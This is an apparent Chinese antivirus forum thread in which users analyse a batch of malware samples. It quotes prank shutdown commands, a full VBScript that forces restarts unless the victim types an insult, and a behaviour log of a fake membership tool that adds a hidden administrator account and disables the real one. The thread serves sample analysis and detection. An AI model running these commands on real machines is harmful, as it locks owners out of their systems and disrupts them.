查看: 2828|回复: 12
收起左侧

[病毒样本] 25X

[复制链接]
b573684723
发表于 2014-7-23 18:21:51 | 显示全部楼层 |阅读模式
fuzhk
发表于 2014-7-23 18:26:03 | 显示全部楼层
本帖最后由 fuzhk 于 2014-7-23 18:31 编辑
Shutdown -s -t 60 -c "关机软件,可以随意修改字体、关机时间                                              勿用于非法用途后果自负                                                                                                                                                                                                                                PS:QQ 799725736 振   

还真无毒。。
shutdown -s -t 10 -c "孩子,不早了,早点睡吧,哥帮你关机吧"
shutdown -s -t 10 -c "哈哈,你上当了上当了啊!拒绝诱惑不知道吗?.88!一路走好!关机顺利!顺利啊?给你的教训就是拒绝诱惑!哈哈哈
"
b573684723
 楼主| 发表于 2014-7-23 18:27:44 | 显示全部楼层

哦,没实测过这个,谢谢提醒
fuzhk
发表于 2014-7-23 18:28:24 | 显示全部楼层
本帖最后由 fuzhk 于 2014-7-23 18:48 编辑
b573684723 发表于 2014-7-23 18:27
哦,没实测过这个,谢谢提醒


别急,还有好多这样的逗比呢
好莱坞会员开启一键.bat
行为:
2014-6-19 14:27:33 创建新进程 允许
进程: c:\windows\explorer.exe
目标: c:\documents and settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe
命令行: "C:\Documents and Settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe"
规则: [应用程序]*

2014-6-19 14:27:41 创建新进程 允许
进程: c:\documents and settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe
目标: c:\windows\system32\net.exe
命令行: net user 要密码加Q2237723701 1997118 /add
规则: [应用程序]*

2014-6-19 14:27:43 创建新进程 允许
进程: c:\windows\system32\net.exe
目标: c:\windows\system32\conime.exe
命令行: C:\WINDOWS\system32\conime.exe
规则: [应用程序]*

2014-6-19 14:27:46 创建新进程 允许
进程: c:\documents and settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe
目标: c:\windows\system32\net.exe
命令行: net user 要密码加Q2237723701/active:yes
规则: [应用程序]*

2014-6-19 14:27:57 创建新进程 允许
进程: c:\windows\system32\net.exe
目标: c:\windows\system32\conime.exe
命令行: C:\WINDOWS\system32\conime.exe
规则: [应用程序]*

2014-6-19 14:28:03 创建新进程 允许
进程: c:\documents and settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe
目标: c:\windows\system32\net.exe
命令行: net loaclgroup administrators要密码加Q766443113/add
规则: [应用程序]*

2014-6-19 14:28:04 创建新进程 允许
进程: c:\windows\system32\net.exe
目标: c:\windows\system32\conime.exe
命令行: C:\WINDOWS\system32\conime.exe
规则: [应用程序]*

2014-6-19 14:28:15 创建新进程 允许
进程: c:\documents and settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe
目标: c:\windows\system32\net.exe
命令行: net user administrator /active:no
规则: [应用程序]*

2014-6-19 14:28:19 创建新进程 允许
进程: c:\windows\system32\net.exe
目标: c:\windows\system32\conime.exe
命令行: C:\WINDOWS\system32\conime.exe
规则: [应用程序]*

2014-6-19 14:28:22 注销、关机或重新启动系统 阻止
进程: c:\documents and settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe
规则: [应用程序]*


关键命令:
net user 要密码加Q2237723701 1997118 /add

net user 要密码加Q2237723701/active:yes
net loaclgroup administrators要密码加Q2237723701/add (
net user administrator /active:no

这家伙挺矫情,还用MD,不过为什么要把MD日志写到bat里面?
XywCloud
发表于 2014-7-23 18:47:43 | 显示全部楼层
好多恶搞脚本
各种只有一个功能的脚本。。。
比如无限刷新、自动关机...
a574387038
发表于 2014-7-23 20:33:54 | 显示全部楼层
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输,不输马上关机","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"呵呵,我也知道你是猪",4096+64
MsgBox"听我讲个故事吧,",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe http://new.qzone.qq.com/1254906192/infocenter"
msgbox"哎呀累了!你给我数绵羊哄我睡觉",4096+64
for i=1 to 2500
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我有点困了,这次就饶过你吧,下次注意哦!",4096+64
msgbox"最后问个问题,我是不是大好人!",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub

此人实在是血无聊。。
a574387038
发表于 2014-7-23 20:50:39 | 显示全部楼层
呵呵,举报那个qq 了。。,,让你扯犊子

评分

参与人数 1人气 +1 收起 理由
275751198 + 1 做得好

查看全部评分

蓝天二号
发表于 2014-7-23 21:00:24 | 显示全部楼层
Q管 KILL 5X

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
b573684723
 楼主| 发表于 2014-7-23 21:44:13 | 显示全部楼层
fuzhk 发表于 2014-7-23 18:28
别急,还有好多这样的逗比呢
好莱坞会员开启一键.bat

不知道。。。
尘梦幽然
发表于 2014-7-23 22:22:51 | 显示全部楼层
360IS杀5个。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-9-18 03:58 , Processed in 0.118779 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表